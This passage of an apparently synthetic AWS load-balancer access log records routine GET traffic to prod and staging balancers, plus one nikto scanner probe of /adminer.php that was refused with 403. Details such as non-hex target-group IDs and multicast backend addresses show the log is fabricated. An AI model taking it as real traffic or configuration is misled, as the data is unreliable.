(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ab-549c29ca422a49ffb14a5156" "prod-web-alb.example.com" "-" 7 2024-11-01T02:12:43.075608Z "forward" "-" "-" "10.0.30.218:443" "200" "-" "-" -https 2024-11-01T02:12:44.883648Z prod-api-alb 44.57.190.149:37939 10.0.72.191:443 0.019374 0.123949 0.012977 301 301 764 4422 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6ac-22685d5ddb1147c89d50f5a9" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:44.883648Z "forward" "-" "-" "10.0.72.191:443" "301" "-" "-" -http 2024-11-01T02:12:45.703523Z staging-alb 199.14.153.79:34743 133.95.146.81:443 0.099105 0.330373 0.035641 404 404 835 6919 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6ad-559074d05a9d437a9c237c1e" "staging-alb.example.com" "-" 4 2024-11-01T02:12:45.703523Z "forward" "-" "-" "133.95.146.81:443" "404" "-" "-" -http 2024-11-01T02:12:45.907218Z staging-alb 139.180.91.27:38322 11.45.148.137:80 0.036579 0.648222 0.149015 200 200 613 4072 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6ad-22f48f374c8b447cb96800a5" "staging-alb.example.com" "-" 8 2024-11-01T02:12:45.907218Z "forward" "-" "-" "11.45.148.137:80" "200" "-" "-" -https 2024-11-01T02:12:46.976878Z staging-alb 73.175.104.215:12280 69.27.45.17:80 0.011544 0.138103 0.118133 302 302 535 4892 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6ae-ec1710f03ceb4f59b368d42f" "staging-alb.example.com" "-" 0 2024-11-01T02:12:46.976878Z "forward" "-" "-" "69.27.45.17:80" "302" "-" "-" -https 2024-11-01T02:12:47.335106Z prod-web-alb 23.143.6.62:64450 10.0.32.135:443 0.064135 0.249074 0.083887 404 404 703 9665 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6af-7413d0a4169c46958c47ee94" "prod-web-alb.example.com" "-" 1 2024-11-01T02:12:47.335106Z "forward" "-" "-" "10.0.32.135:443" "404" "-" "-" -https 2024-11-01T02:12:49.108377Z prod-web-alb 49.240.115.133:28813 10.0.107.233:443 0.083112 0.008345 0.081512 200 200 71 8578 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b1-42d1a216d854407caf6f13f9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:49.108377Z "forward" "-" "-" "10.0.107.233:443" "200" "-" "-" -https 2024-11-01T02:12:50.411878Z prod-web-alb 181.237.213.104:56441 10.0.40.199:443 0.042429 0.082947 0.057780 404 404 929 6664 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b2-bc4f4e11d9ef4728b7c3f71d" "prod-web-alb.example.com" "-" 5 2024-11-01T02:12:50.411878Z "forward" "-" "-" "10.0.40.199:443" "404" "-" "-" -https 2024-11-01T02:12:52.043462Z prod-api-alb 46.23.76.54:27891 10.0.117.197:443 0.012068 0.092547 0.095217 200 200 903 6655 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6b4-737a86fe60804e209213b2d1" "prod-api-alb.example.com" "-" 10 2024-11-01T02:12:52.043462Z "forward" "-" "-" "10.0.117.197:443" "200" "-" "-" -https 2024-11-01T02:12:52.742225Z staging-alb 221.160.234.137:40438 224.80.220.222:80 0.039265 0.260186 0.145046 302 302 819 13662 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6b4-1d93bea75c2543cfb976b33a" "staging-alb.example.com" "-" 9 2024-11-01T02:12:52.742225Z "forward" "-" "-" "224.80.220.222:80" "302" "-" "-" -https 2024-11-01T02:12:53.223050Z staging-alb 191.196.191.108:22649 160.4.253.63:443 0.123722 0.478655 0.004088 200 200 780 2318 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6b5-4913b68151f84e7b9c1d00b2" "staging-alb.example.com" "-" 4 2024-11-01T02:12:53.223050Z "forward" "-" "-" "160.4.253.63:443" "200" "-" "-" -https 2024-11-01T02:12:53.920052Z prod-web-alb 208.66.92.24:35679 10.0.94.64:443 0.017411 0.440410 0.009878 302 302 348 3905 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b5-7fb182a657614f98b0b148a0" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:53.920052Z "forward" "-" "-" "10.0.94.64:443" "302" "-" "-" -https 2024-11-01T02:12:54.499739Z prod-web-alb 94.229.58.86:57203 10.0.235.87:443 0.055080 0.185103 0.014393 404 404 222 1009 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6b6-b4ee927a528b4f4b95af0f9a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:54.499739Z "forward" "-" "-" "10.0.235.87:443" "404" "-" "-" -https 2024-11-01T02:12:55.726698Z prod-api-alb 178.84.215.27:35004 10.0.225.91:443 0.020249 0.434599 0.042832 200 200 199 3975 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6b7-85687ef888f244fc83120572" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:55.726698Z "forward" "-" "-" "10.0.225.91:443" "200" "-" "-" -https 2024-11-01T02:12:57.596827Z prod-web-alb 209.105.124.250:25321 10.0.207.50:443 0.022188 0.080104 0.085329 200 200 330 10594 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b9-0d5530cbae854b5499a65e9a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:12:57.596827Z "forward" "-" "-" "10.0.207.50:443" "200" "-" "-" -https 2024-11-01T02:12:58.383145Z prod-api-alb 224.62.226.200:18981 10.0.126.76:443 0.047801 0.057806 0.070564 200 200 323 6808 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6ba-fef6e4265065461993ff5b9c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:58.383145Z "forward" "-" "-" "10.0.126.76:443" "200" "-" "-" -https 2024-11-01T02:12:59.959955Z prod-api-alb 205.35.224.135:45533 10.0.228.94:443 0.078627 0.041201 0.054053 200 200 206 4779 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6bb-9bfd01c77d9f41f791ea0610" "prod-api-alb.example.com" "-" 4 2024-11-01T02:12:59.959955Z "forward" "-" "-" "10.0.228.94:443" "200" "-" "-" -https 2024-11-01T02:13:01.117659Z staging-alb 223.101.178.86:52412 66.166.13.251:80 0.142407 0.323658 0.050069 200 200 726 3270 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6bd-da95586300b544b6ab7751cd" "staging-alb.example.com" "-" 7 2024-11-01T02:13:01.117659Z "forward" "-" "-" "66.166.13.251:80" "200" "-" "-" -https 2024-11-01T02:13:01.454891Z prod-web-alb 164.173.211.73:33528 10.0.106.77:443 0.072403 0.183915 0.000659 302 302 517 4366 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6bd-00123cb7cb654ce6a622b33d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:01.454891Z "forward" "-" "-" "10.0.106.77:443" "302" "-" "-" -https 2024-11-01T02:13:02.517814Z prod-api-alb 242.71.168.234:27775 10.0.234.76:443 0.066587 0.346240 0.072280 200 200 669 7661 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6be-952e2321d9944865a365aca0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:13:02.517814Z "forward" "-" "-" "10.0.234.76:443" "200" "-" "-" -https 2024-11-01T02:13:03.224535Z prod-api-alb 69.232.161.101:34249 10.0.25.197:443 0.044165 0.399889 0.064088 200 200 947 13452 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6bf-b173a8acad48485bafab28ba" "prod-api-alb.example.com" "-" 0 2024-11-01T02:13:03.224535Z "forward" "-" "-" "10.0.25.197:443" "200" "-" "-" -https 2024-11-01T02:13:04.995551Z prod-web-alb 70.170.220.182:53134 10.0.165.142:443 0.071271 0.170038 0.036584 301 301 992 14172 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6c0-8b346417a60f4ec7a744d4fe" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:04.995551Z "forward" "-" "-" "10.0.165.142:443" "301" "-" "-" -https 2024-11-01T02:13:06.363432Z prod-api-alb 194.11.185.30:18399 10.0.168.96:443 0.081034 0.290081 0.025447 302 302 55 5304 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6c2-2612e94422c24720af55f5b9" "prod-api-alb.example.com" "-" 3 2024-11-01T02:13:06.363432Z "forward" "-" "-" "10.0.168.96:443" "302" "-" "-" -http 2024-11-01T02:13:06.750199Z staging-alb 221.196.247.135:21877 40.16.226.19:8080 0.146198 0.024879 0.020817 404 404 685 5294 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6c2-dc34134e51a2428088369aa8" "staging-alb.example.com" "-" 9 2024-11-01T02:13:06.750199Z "forward" "-" "-" "40.16.226.19:8080" "404" "-" "-" -https 2024-11-01T02:13:08.037483Z staging-alb 78.164.102.189:39308 13.155.43.202:443 0.074697 0.399517 0.055141 200 200 547 14380 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6c4-6d2e4ba1c93141b1874a23df" "staging-alb.example.com" "-" 2 2024-11-01T02:13:08.037483Z "forward" "-" "-" "13.155.43.202:443" "200" "-" "-" -https 2024-11-01T02:13:08.539725Z prod-web-alb 242.223.160.54:12186 10.0.163.245:443 0.039488 0.344001 0.012433 200 200 574 1591 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6c4-fa29cb6ea10f485590610bc8" "prod-web-alb.example.com" "-" 3 2024-11-01T02:13:08.539725Z "forward" "-" "-" "10.0.163.245:443" "200" "-" "-" -https 2024-11-01T02:13:09.929332Z prod-api-alb 189.173.180.150:58969 10.0.1.152:443 0.021094 0.372339 0.014658 404 404 552 5516 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6c5-b3bf6772affd4224b598b209" "prod-api-alb.example.com" "-" 8 2024-11-01T02:13:09.929332Z "forward" "-" "-" "10.0.1.152:443" "404" "-" "-" -http 2024-11-01T02:13:11.835918Z staging-alb 123.71.124.136:53065 48.8.116.36:80 0.017716 0.576677 0.044186 301 301 336 6818 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6c7-0527822daf2e4ac281521e46" "staging-alb.example.com" "-" 3 2024-11-01T02:13:11.835918Z "forward" "-" "-" "48.8.116.36:80" "301" "-" "-" -https 2024-11-01T02:13:13.556117Z prod-web-alb 151.69.234.85:62807 10.0.66.62:443 0.009998 0.175859 0.034729 302 302 832 5044 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6c9-bb182720572146ca98e5faac" "prod-web-alb.example.com" "-" 10 2024-11-01T02:13:13.556117Z "forward" "-" "-" "10.0.66.62:443" "302" "-" "-" -https 2024-11-01T02:13:14.748156Z prod-web-alb 148.90.82.15:37467 10.0.173.232:443 0.057095 0.300081 0.040447 200 200 985 4088 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ca-0f04644c5a714925bf8e3dce" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:14.748156Z "forward" "-" "-" "10.0.173.232:443" "200" "-" "-" -https 2024-11-01T02:13:15.193533Z prod-web-alb 142.240.177.138:33753 10.0.192.101:443 0.041686 0.311839 0.017006 200 200 809 2813 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6cb-eea7b29ce04b4531bbd61fe7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:15.193533Z "forward" "-" "-" "10.0.192.101:443" "200" "-" "-" -https 2024-11-01T02:13:16.494544Z prod-api-alb 175.44.191.36:62857 10.0.234.138:443 0.082220 0.461389 0.068015 200 200 876 8867 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6cc-da312263a6754885b9924dda" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:16.494544Z "forward" "-" "-" "10.0.234.138:443" "200" "-" "-" -https 2024-11-01T02:13:18.350167Z prod-web-alb 45.155.205.6:10972 10.0.176.84:443 0.059071 0.238256 0.037521 403 403 66 8995 "GET /adminer.php HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6ce-1f0748ee3fe74c26a1c1c216" "-" "-" 0 2024-11-01T02:13:18.350167Z "forward" "-" "-" "10.0.176.84:443" "403" "-" "-" -https 2024-11-01T02:13:19.373532Z prod-api-alb 96.30.111.122:13067 10.0.248.223:443 0.029798 0.462116 0.044473 404 404 195 2725 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6cf-8bcd024db2af495289bdf541" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:19.373532Z "forward" "-" "-" "10.0.248.223:443" "404" "-" "-" -https 2024-11-01T02:13:20.611302Z prod-api-alb 123.111.87.92:61371 10.0.231.73:443 0.083045 0.071356 0.012390 404 404 14 10915 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6d0-a8bf281250c24e94ae8b8a7d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:13:20.611302Z "forward" "-" "-" "10.0.231.73:443" "404" "-" "-" -https 2024-11-01T02:13:20.775789Z prod-web-alb 10.222.50.69:14274 10.0.178.5:443 0.074019 0.426527 0.035732 200 200 319 14513 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6d0-c7db747cc1ef41a09513f949" "prod-web-alb.example.com" "-" 4 2024-11-01T02:13:20.775789Z "forward" "-" "-" "10.0.178.5:443" "200" "-" "-" -https 2024-11-01T02:13:21.348190Z prod-api-alb 96.108.175.11:61537 10.0.1.251:443 0.042156 0.279815 0.021357 200 200 330 10851 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6d1-a05004527dc643609b395084" "prod-api-alb.example.com" "-" 4 2024-11-01T02:13:21.348190Z "forward" "-" "-" "10.0.1.251:443" "200" "-" "-" -https 2024-11-01T02:13:22.105451Z prod-api-alb 108.251.39.219:49126 10.0.255.146:443 0.017161 0.035447 0.007828 404 404 876 5337 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6d2-feff58ca6f194833a88219be" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:22.105451Z "forward" "-" "-" "10.0.255.146:443" "404" "-" "-" -http 2024-11-01T02:13:23.429601Z staging-alb 27.245.204.42:37590 224.124.228.102:443 0.115995 0.460218 0.058620 301 301 442 7023 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6d3-e88ea3ce99084866bc0cb740" "staging-alb.example.com" "-" 6 2024-11-01T02:13:23.429601Z "forward" "-" "-" "224.124.228.102:443" "301" "-" "-" -https 2024-11-01T02:13:24.234964Z prod-web-alb 218.64.176.16:26656 10.0.5.179:443 0.079993 0.232258 0.047686 200 200 898 4465 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6d4-4a2d4f7b9c25479a8dc8d623" "prod-web-alb.example.com" "-" 10 2024-11-01T02:13:24.234964Z "forward" "-" "-" "10.0.5.179:443" "200" "-" "-" -http 2024-11-01T02:13:24.849425Z staging-alb 60.107.23.135:51032 68.16.70.23:80 0.137926 0.092872 0.027667 200 200 480 2904 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6d4-634b01301cd34a7b963a03aa" "staging-alb.example.com" "-" 0 2024-11-01T02:13:24.849425Z "forward" "-" "-" "68.16.70.23:80" "200" "-" "-" -https 2024-11-01T02:13:25.756538Z prod-web-alb 108.11.226.177:14882 10.0.168.21:443 0.018125 0.412365 0.061005 301 301 518 4639 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6d5-8ddbd952373743ef86183bd4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:13:25.756538Z "forward" "-" "-" "10.0.168.21:443" "301" "-" "-" -http 2024-11-01T02:13:27.263727Z staging-alb 86.223.41.154:21668 60.42.125.243:8080 0.144358 0.412709 0.070810 301 301 606 1884 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6d7-ecb1b9591edb47ed8a85e7a7" "staging-alb.example.com" "-" 8 2024-11-01T02:13:27.263727Z "forward" "-" "-" "60.42.125.243:8080" "301" "-" "-" -https 2024-11-01T02:13:27.607584Z prod-web-alb 56.20.129.34:43797 10.0.184.42:443 0.000938 0.385867 0.006819 200 200 5 9784 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6d7-c8729b1d45f94296a3e5e668" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:27.607584Z "forward" "-" "-" "10.0.184.42:443" "200" "-" "-" -https 2024-11-01T02:13:28.998458Z prod-web-alb 186.203.26.79:15661 10.0.243.196:443 0.080284 0.284365 0.032903 200 200 723 11775 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6d8-a21aebd208634716b3f0dbae" "prod-web-alb.example.com" "-" 10 2024-11-01T02:13:28.998458Z "forward" "-" "-" "10.0.243.196:443" "200" "-" "-" -https 2024-11-01T02:13:30.392984Z prod-web-alb 143.247.179.93:22816 10.0.39.217:443 0.055357 0.024203 0.046935 301 301 606 13131 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6da-e5e80fa6508641878d3eb8ee" "prod-web-alb.example.com" "-" 9 2024-11-01T02:13:30.392984Z "forward" "-" "-" "10.0.39.217:443" "301" "-" "-" -http 2024-11-01T02:13:31.731258Z staging-alb 67.52.94.137:63000 211.175.245.198:80 0.117819 0.355635 0.124934 200 200 982 8423 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6db-a03ff82b0cc1488cba7433c9" "staging-alb.example.com" "-" 5 2024-11-01T02:13:31.731258Z "forward" "-" "-" "211.175.245.198:80" "200" "-" "-" -https 2024-11-01T02:13:32.305387Z prod-api-alb 185.181.129.31:49246 10.0.103.229:443 0.057454 0.291709 0.043337 403 